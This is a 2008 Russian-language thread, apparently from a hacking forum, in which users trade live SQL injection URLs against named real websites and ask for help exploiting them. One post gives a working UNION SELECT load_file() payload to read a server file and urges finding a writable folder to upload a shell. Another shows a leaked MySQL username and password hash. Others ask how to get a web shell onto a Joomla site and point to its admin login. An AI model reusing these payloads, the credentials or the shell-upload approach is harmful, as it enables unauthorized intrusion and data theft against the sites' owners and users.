Ваши вопросы по уязвимостям.

09.12.2008, 06:10

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

Провел на форуме:
9220514

Репутация: 3338

2 Tigger:

http://kpi.ua/board/index.php?action=list_messages&section_id=2&module =1'

Цитата:

/usr/hosting/www.ntu-kpi.kiev.ua/data/common/include-board/Query.class

mysql user:
hellcat
-------
mysql password:
*155D9B0E48F5A1A1981B225E4C8D9C2A2A87E608
-------
file_priv:
Y

Последний раз редактировалось Pashkela; 09.12.2008 в 06:35..

09.12.2008, 09:39

Tigger

Познавший АНТИЧАТ

Регистрация: 27.08.2007

Сообщений: 1,107

Провел на форуме:
5386281

Репутация: 1177

Цитата:

Сообщение от Pashkela

2 Tigger:

http://kpi.ua/board/index.php?action=list_messages&section_id=2&module =1'

mysql user:
hellcat
-------
mysql password:
*155D9B0E48F5A1A1981B225E4C8D9C2A2A87E608
-------
file_priv:
Y

mysql.user и я сам нашел и через нее тоже пробывал. А это не реальный путь... нету на сайте папки /data/ и коммон тоже нету... бред это... даже доменя имя другое =/

09.12.2008, 10:02

DimOnOID

Постоянный

Регистрация: 05.12.2006

Сообщений: 477

Провел на форуме:
11338585

Репутация: 441

Цитата:

Сообщение от Tigger

http://kpi.ua/job/index.php?action=list_messages&section_id=-3+union+select+load_file('/usr/hosting/www.ntu-kpi.kiev.ua/data/common/include-board/Query.class')/*
какой же это бред? ...повезло..даже ковычГи проходят...исчи папку для записи..и го шелл...

09.12.2008, 12:59

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

Провел на форуме:
9220514

Репутация: 3338

Цитата:

Сообщение от Tigger

Путь реальный, просто надо найти папку с соответствующими правами

09.12.2008, 17:34

Tigger

Познавший АНТИЧАТ

Регистрация: 27.08.2007

Сообщений: 1,107

Провел на форуме:
5386281

Репутация: 1177

Цитата:

Сообщение от Pashkela

Путь реальный, просто надо найти папку с соответствующими правами

А где ты нашел этот реальный путь? В каких конфигах?
Да и чего-то ничего не получается(( Всякие разные папки попробывал(( Ни выходить никак

Последний раз редактировалось Tigger; 09.12.2008 в 17:38..

09.12.2008, 20:25

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

Провел на форуме:
9220514

Репутация: 3338

Цитата:

Сообщение от Tigger

Xspider-ом. Он если чо пишет, вряд ли ошибается. Вот по такой ссылке:

http://kpi.ua/board/index.php?action=list_messages&section_id=2&module =1'

реальный путь к серверу. А почему подтверждается, что он реальный - написано выше

09.12.2008, 16:34

Thrasher88

Познающий

Регистрация: 18.04.2008

Сообщений: 62

Провел на форуме:
279406

Репутация: 37

Подскажите, как такую SQL- инъекцию раскрутить:

Цитата:

http://eve-zone.ru/?mode=quest&submode=0&s=1&p=-1

Не получается подобрать кол-во полей, все время ошибка вылазит..

09.12.2008, 16:37

aka PSIH

Постоянный

Регистрация: 07.02.2006

Сообщений: 630

Провел на форуме:
12985021

Репутация: 676

Thrasher88

Цитата:

Подскажите, как такую SQL- инъекцию раскрутить:

inj в LIMIT, не раскрутишь... =\

09.12.2008, 16:48

Thrasher88

Познающий

Регистрация: 18.04.2008

Сообщений: 62

Провел на форуме:
279406

Репутация: 37

А вот эта:

Цитата:

http://www.xyligan.ru/blogs/blog.php?readpost=-1'

Вроде бы что то схожее...

#10

09.12.2008, 18:48

cric.cric

Познающий

Регистрация: 02.06.2008

Сообщений: 52

Провел на форуме:
218331

Репутация: 10

Доброе время суток!
Что можно с этим сделать есть скул иньекция на этом сайте !
Движок jomla версия помоему либо 1.1 либо 5.2.1
http://aing.kz/index.php?option=com_content&task=vote&id=1&Itemid =1&cid=1&user_rating=1,rating_sum=[sql]
Кто может помочь как залить шел или что-то плиз помогите!

А еше забыл еше отметить вход админ ку можно через http://aing.kz/administrator
Заранее спасибо!

Последний раз редактировалось cric.cric; 09.12.2008 в 19:20..